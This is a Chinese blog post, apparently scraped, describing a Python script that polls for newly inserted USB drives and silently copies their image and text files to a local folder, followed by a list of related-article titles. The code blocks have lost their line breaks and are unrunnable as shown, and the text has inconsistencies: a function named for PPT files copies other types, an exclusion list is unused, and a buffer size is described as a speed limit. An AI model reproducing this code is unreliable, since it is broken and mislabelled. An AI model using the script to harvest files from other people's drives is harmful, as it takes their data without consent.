当前位置: 首页 > news >正文

Python脚本实现USB自动复制文件

USB驱动器作为常见的数据存储设备,经常用于数据传输和备份。
然而,我们在手动处理文件复制可能效率低下且容易出错。
因此,我们可以利用Python编写脚本来自动化这一过程,提高效率和数据安全性。

准备工作

首先,我们需要安装Python以及几个必要的库:os、shutil、time和psutil。这些库将帮助我们实现文件操作、定时和系统监测功能。

获取硬盘驱动器列表

这段代码利用psutil库获取系统中可移动的磁盘驱动器列表,例如USB驱动器。
import psutildef get_disk_drives():disk_partitions = psutil.disk_partitions(all=False)drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]return drives

文件拷贝功能

这段代码定义了一个函数,用于将指定文件类型(.jpg、.png、.txt)从USB驱动器拷贝到指定目标文件夹。
它确保在复制过程中限制了数据传输的速度,避免过载系统。
import os
import shutildef copy_ppt_files(source_folder, destination_folder, speed_limit_kb):for root, dirs, files in os.walk(source_folder):for file in files:if file.endswith((".jpg", ".png", ".txt")):src_file = os.path.join(root, file)dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))os.makedirs(os.path.dirname(dst_file), exist_ok=True)with open(src_file, 'rb') as fsrc:with open(dst_file, 'wb') as fdst:shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)

检查新插入的USB驱动器

此函数定期检查新插入的USB驱动器,并调用文件拷贝函数将特定文件类型复制到预定目标文件夹。
它通过在列表中记录已知驱动器来避免重复操作。
import timedef check_for_new_drive(speed_limit_kb=10240):drives = get_disk_drives()new_drives = [drive for drive in drives if drive not in known_drives]for new_drive in new_drives:known_drives.append(new_drive)print(f"New drive detected: {new_drive}")time.sleep(3)  # 等待3秒后再开始拷贝copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

主程序

主程序初始化了已知驱动器列表和目标路径,并通过调用check_for_new_drive函数来持续检查新插入的USB驱动器。
if __name__ == "__main__":known_drives = []excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]destination_drive = "H://u盘"  # 目标路径if not os.path.exists(destination_drive):os.makedirs(destination_drive)while True:check_for_new_drive()time.sleep(60)  # 每隔60秒检查一次

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • ADC模数转换在stm32上的应用
  • C语言基础题:硬币问题(C语言版)
  • 蚂蚁0511笔试-选择题
  • 9-springCloud集成nacos config
  • btslab靶场-通过xss获取他人cookie并利用
  • 【vue2+elementui】记录el-upload导入文件:只上传一个文件,且再次上传会覆盖上一个文件
  • 机械学习—零基础学习日志(高数18——无穷小与无穷大)
  • C++笔记---类和对象(中)
  • 【Matlab】快速傅里叶变换fft代码(单边谱)
  • 猫头虎分享疑难杂Bug:error: subprocess-exited-with-error 解决方案
  • docker 建木 发版 (详细教程)
  • Open Interpreter - 开放解释器
  • 无人机工程师技术高级证书详解
  • Python爬虫基础:爬取网页内容解析标题
  • 8.2 grafana上导入模板看图并讲解告警
  • JS 中的深拷贝与浅拷贝
  • 《Java编程思想》读书笔记-对象导论
  • 30秒的PHP代码片段(1)数组 - Array
  • android高仿小视频、应用锁、3种存储库、QQ小红点动画、仿支付宝图表等源码...
  • export和import的用法总结
  • js递归,无限分级树形折叠菜单
  • js作用域和this的理解
  • laravel5.5 视图共享数据
  • oschina
  • PAT A1120
  • React-flux杂记
  • -- 查询加强-- 使用如何where子句进行筛选,% _ like的使用
  • 订阅Forge Viewer所有的事件
  • 聊聊redis的数据结构的应用
  • 前端性能优化--懒加载和预加载
  • 微信小程序设置上一页数据
  • nb
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • (day 12)JavaScript学习笔记(数组3)
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)计算机毕业设计ssm基于B_S的汽车售后服务管理系统
  • (七)Activiti-modeler中文支持
  • (五) 一起学 Unix 环境高级编程 (APUE) 之 进程环境
  • (转)项目管理杂谈-我所期望的新人
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • .libPaths()设置包加载目录
  • .NET 简介:跨平台、开源、高性能的开发平台
  • .net通用权限框架B/S (三)--MODEL层(2)
  • .NET委托:一个关于C#的睡前故事
  • .net中应用SQL缓存(实例使用)
  • @FeignClient 调用另一个服务的test环境,实际上却调用了另一个环境testone的接口,这其中牵扯到k8s容器外容器内的问题,注册到eureka上的是容器外的旧版本...
  • [ 隧道技术 ] cpolar 工具详解之将内网端口映射到公网
  • [20170705]lsnrctl status LISTENER_SCAN1
  • [20170728]oracle保留字.txt
  • [Android] Amazon 的 android 音视频开发文档
  • [BZOJ2208][Jsoi2010]连通数